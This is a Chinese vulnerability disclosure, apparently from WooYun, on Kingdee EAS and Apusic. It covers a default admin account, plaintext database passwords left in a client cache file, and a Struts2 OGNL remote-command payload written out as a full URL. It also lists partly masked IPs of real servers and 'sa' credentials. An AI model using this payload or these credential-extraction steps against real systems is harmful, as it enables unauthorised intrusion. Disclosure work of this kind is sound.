### 简要描述:
金蝶某软件存在多个安全漏洞(通用管理账号+获得数据库密码+远程代码执行)
### 详细说明:
实际上是2个软件的漏洞,放在一起就不单独发了。金蝶eas存在通用管理账号+获得数据库密码漏洞,金蝶apusic存在远程代码执行漏洞。
下面的信息希望乌云在确认漏洞予以模糊处理,以免对厂商和用户产生不良影响:
漏洞一、金蝶eas系统存在一个默认的管理员账号adm***r,密码是****n,大部分用户应该知道这个账号的存在,但不少没有去修改这个密码的。如果要验证这个漏洞,需要安装金蝶eas的客户端,网上可以找到,如果需要可以跟我联系,我发一份给你们,因为每次修改金蝶eas服务端的ip后,客户端都要更新,比较费时,所以我就找了几个服务端ip,给你们验证这个漏洞,实际网上还有不少:
60.190.***.***
218.58.***.***
218.61.***.***
218.63.***.***
218.65.***.***
[<img src="https://images.seebug.org/upload/201406/13095752c7fb4fe41ac3c49e5b98ce2e22f79c19.jpg" alt="1.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201406/13095752c7fb4fe41ac3c49e5b98ce2e22f79c19.jpg)
漏洞二、金蝶eas客户端在连接到服务器端后,需要输入用户名和密码,如下图:
[<img src="https://images.seebug.org/upload/201406/13095922a5df2eb4531a5dd8b0f1569ae0970d58.jpg" alt="2.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201406/13095922a5df2eb4531a5dd8b0f1569ae0970d58.jpg)
输入正确的用户名和密码后方可进入后台页面,但这里有个漏洞,不管输入的密码是否正确,都会在本地金蝶eas安装路径下建立一个文件夹(经过测试,如果用户当前在线不会建立这个文件),我的金蝶eas安装在d盘下的kingdee目录中,这个文件夹就会在D:\kingdee\eas\client\cache下,文件夹是以ip地址为名字,其中有个文件叫loginparamcache.dat,用记事本打开,会看到一些字符,其中会有金蝶eas数据源的名字,还有操作这个数据源的数据库密码,如下面两幅图:
[<img src="https://images.seebug.org/upload/201406/131006085a89028921f628556a8459ff79092520.jpg" alt="3.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201406/131006085a89028921f628556a8459ff79092520.jpg)
[<img src="https://images.seebug.org/upload/201406/132136485fc4da411ac8e04b232a2389f0d05a9f.png" alt="QQ截图20140613213533.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201406/132136485fc4da411ac8e04b232a2389f0d05a9f.png)
一般情况下,数据库密码泄露对服务器端的影响不大,因为金蝶eas客户端通过中间件apusic与服务器端通讯,不会通过数据库端口直接通讯,但也有一些例外情况,就是数据库服务器直接在外网上,或者数据库服务器的数据库端口被映射到了外网路由上,这样就可以通过数据库连接工具直接连接到数据库上,下面是几个可以直接连接上数据库的例子,找了几个sqlserver的,密码都是通过上面的方式获得的,sa权限:
218.241.***.*** sa CM***e
221.224.***.*** sa Ib***1
221.226.***.*** sa Js***66
222.178.***.*** sa ***z
222.223.***.*** sa ***3
漏洞三、金蝶apusic中间件的命令执行漏洞,是因为中间件部署的一个名叫war中使用了strust,我对java不熟,不知道这样描述是否正确,如下图所示:
[<img src="https://images.seebug.org/upload/201406/1310184140d53863113256ea10c0dbca1975c53f.jpg" alt="5.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201406/1310184140d53863113256ea10c0dbca1975c53f.jpg)
[<img src="https://images.seebug.org/upload/201406/131018582287301b4df8f394559aed8d177e2d92.jpg" alt="6.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201406/131018582287301b4df8f394559aed8d177e2d92.jpg)
命令执行,爆目录:
http://218.241.***.***/*****.action?('\43_memberAccess.allowStaticMethodAccess')(a)=true&(b)(('\43context[\'xwork.MethodAccessor.denyMethodExecution\']\75false')(b))&('\43c')(('\43_memberAccess.excludeProperties\75@java.util.Collections@EMPTY_SET')(c))&(g)(('\43req\75@org.apache.struts2.ServletActionContext@getRequest()')(d))&(i2)(('\43xman\75@org.apache.struts2.ServletActionContext@getResponse()')(d))&(i2)(('\43xman\75@org.apache.struts2.ServletActionContext@getResponse()')(d))&(i95)(('\43xman.getWriter().println(\43req.getRealPath(%22\u005c%22))')(d))&(i99)(('\43xman.getWriter().close()')(d))
不知道最新的apusic是否还存在这个漏洞,网上运行apusic的服务器很多,政府、大企业不少使用这个的,就用上面的几个例子试试就可以了,就不再找例子了。
### 漏洞证明:
暂无评论